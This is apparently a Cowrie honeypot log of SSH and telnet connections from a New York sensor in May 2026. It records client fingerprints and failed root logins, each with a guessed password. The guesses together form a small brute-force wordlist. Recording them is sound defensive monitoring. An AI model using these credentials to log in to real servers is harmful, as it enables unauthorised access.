{"eventid":"cowrie.session.connect","src_ip":"186.122.177.140","src_port":52842,"dst_ip":"10.17.0.5","dst_port":22,"session":"857d9d3d0d49","protocol":"ssh","message":"New connection: 186.122.177.140:52842 (10.17.0.5:22) [session: 857d9d3d0d49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:12.318655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:12.323891Z","src_ip":"186.122.177.140","session":"857d9d3d0d49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:12.508498Z","src_ip":"186.122.177.140","session":"857d9d3d0d49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"divya@123","message":"login attempt [root/divya@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:13.394908Z","src_ip":"186.122.177.140","session":"857d9d3d0d49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.241.230","src_port":58200,"dst_ip":"159.203.135.109","dst_port":22,"session":"a485692217f6","protocol":"ssh","message":"New connection: 49.51.241.230:58200 (159.203.135.109:22) [session: a485692217f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:13.807074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:13.813850Z","src_ip":"49.51.241.230","session":"a485692217f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:13.883685Z","src_ip":"49.51.241.230","session":"a485692217f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"glass","message":"login attempt [root/glass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:14.190833Z","src_ip":"49.51.241.230","session":"a485692217f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:14.568495Z","src_ip":"186.122.177.140","session":"857d9d3d0d49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.243.239.219","src_port":3072,"dst_ip":"10.17.0.5","dst_port":22,"session":"5006e1c94d91","protocol":"ssh","message":"New connection: 74.243.239.219:3072 (10.17.0.5:22) [session: 5006e1c94d91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:15.124254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:15.130783Z","src_ip":"74.243.239.219","session":"5006e1c94d91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:15.266922Z","src_ip":"49.51.241.230","session":"a485692217f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:15.299570Z","src_ip":"74.243.239.219","session":"5006e1c94d91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"suporte2","message":"login attempt [root/suporte2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:16.005934Z","src_ip":"74.243.239.219","session":"5006e1c94d91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.23075723648071,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:16.217428Z","src_ip":"192.119.13.58","session":"01a14679252e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50558,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b75fb20a344","protocol":"telnet","message":"New connection: 192.119.13.58:50558 (10.17.0.5:23) [session: 1b75fb20a344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:16.228519Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:17.178974Z","src_ip":"74.243.239.219","session":"5006e1c94d91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57510,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2e5759f25ca","protocol":"telnet","message":"New connection: 192.119.13.58:57510 (10.17.0.5:23) [session: a2e5759f25ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:17.863640Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.176.251","src_port":36162,"dst_ip":"159.203.135.109","dst_port":22,"session":"d89c4ff8a85f","protocol":"ssh","message":"New connection: 43.135.176.251:36162 (159.203.135.109:22) [session: d89c4ff8a85f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:18.065227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:18.071413Z","src_ip":"43.135.176.251","session":"d89c4ff8a85f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:18.140954Z","src_ip":"43.135.176.251","session":"d89c4ff8a85f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin321","message":"login attempt [root/admin321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:18.454751Z","src_ip":"43.135.176.251","session":"d89c4ff8a85f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":47672,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b171b456f57","protocol":"ssh","message":"New connection: 185.236.22.41:47672 (10.17.0.5:22) [session: 4b171b456f57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:18.778455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:18.787958Z","src_ip":"185.236.22.41","session":"4b171b456f57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":39722,"dst_ip":"159.203.135.109","dst_port":22,"session":"410c8fe74906","protocol":"ssh","message":"New connection: 92.207.4.157:39722 (159.203.135.109:22) [session: 410c8fe74906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:18.847750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:18.853727Z","src_ip":"92.207.4.157","session":"410c8fe74906","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:18.922321Z","src_ip":"185.236.22.41","session":"4b171b456f57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:18.962729Z","src_ip":"92.207.4.157","session":"410c8fe74906","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345aaa","message":"login attempt [root/12345aaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:19.418726Z","src_ip":"185.236.22.41","session":"4b171b456f57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc12345678","message":"login attempt [root/Abc12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:19.459677Z","src_ip":"92.207.4.157","session":"410c8fe74906","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:19.533581Z","src_ip":"43.135.176.251","session":"d89c4ff8a85f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.04560375213623,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:19.674136Z","src_ip":"192.119.13.58","session":"7da341e4f9c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"59.126.224.134","src_port":59964,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2f7aa4b4130","protocol":"ssh","message":"New connection: 59.126.224.134:59964 (10.17.0.5:22) [session: b2f7aa4b4130]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:20.038555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:20.044274Z","src_ip":"59.126.224.134","session":"b2f7aa4b4130","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:20.286134Z","src_ip":"59.126.224.134","session":"b2f7aa4b4130","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:20.582200Z","src_ip":"185.236.22.41","session":"4b171b456f57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:20.614772Z","src_ip":"92.207.4.157","session":"410c8fe74906","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"little","message":"login attempt [root/little] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:21.297473Z","src_ip":"59.126.224.134","session":"b2f7aa4b4130","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.59369397163391,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:22.499163Z","src_ip":"192.119.13.58","session":"f4c14ee8765c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:22.549728Z","src_ip":"59.126.224.134","session":"b2f7aa4b4130","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48298,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ece62958c8d","protocol":"telnet","message":"New connection: 192.119.13.58:48298 (10.17.0.5:23) [session: 5ece62958c8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:22.776347Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.181.124.9","src_port":36518,"dst_ip":"159.203.135.109","dst_port":22,"session":"137ccfba228c","protocol":"ssh","message":"New connection: 5.181.124.9:36518 (159.203.135.109:22) [session: 137ccfba228c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:23.118558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:23.137866Z","src_ip":"5.181.124.9","session":"137ccfba228c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:23.224481Z","src_ip":"5.181.124.9","session":"137ccfba228c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2017","message":"login attempt [root/2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:23.598236Z","src_ip":"5.181.124.9","session":"137ccfba228c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:24.688078Z","src_ip":"5.181.124.9","session":"137ccfba228c","protocol":"ssh"}
